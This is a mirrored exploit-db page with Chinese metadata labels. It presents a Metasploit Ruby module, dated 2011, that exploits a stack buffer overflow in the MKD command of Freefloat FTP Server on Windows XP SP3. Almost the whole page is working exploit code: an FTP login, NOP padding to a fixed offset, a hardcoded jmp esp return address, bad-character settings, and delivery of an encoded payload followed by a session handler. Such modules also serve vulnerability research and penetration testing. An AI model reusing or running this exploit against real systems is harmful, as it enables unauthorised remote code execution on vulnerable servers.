Freefloat FTP Server – ‘MKD’ Remote Buffer Overflow (Metasploit)

  • 作者: James Fitts
    日期: 2011-07-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17540/
  • ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Ftp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Freefloat FTP Server MKD Command Stack Overflow',
    			'Description'=> %q{
    						This module exploits a buffer overflow vulnerability
    						found in the MKD command in the Freefloat FTP server.
    			},
    			'Author' => [
    						'C4SS!0 G0M3S',		# Initial Discovery
    						'James Fitts'	# Metasploit Module
    					],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: $',
    			'References' =>
    				[
    					[ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space' => 700,
    					'BadChars' => "\x00\x0a\x0d",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows XP SP3', 
    						{ 
    							'Ret' => 0x7cb97475, # jmp esp from shell32.dll
    							'Offset' => 247
    						} 
    					],
    				],
    			'DisclosureDate' => 'Jul 17 2011',
    			'DefaultTarget'	=> 0))
    	end
    
    	def exploit
    		connect_login
    
    		print_status("Trying target #{target.name}...")
    
    		buf = make_nops(target['Offset']) + [target.ret].pack('V')
    		buf << make_nops(20)
    		buf << payload.encoded
    
    		send_cmd( ['MKD', buf] , false )
    
    		handler
    		disconnect
    	end
    
    end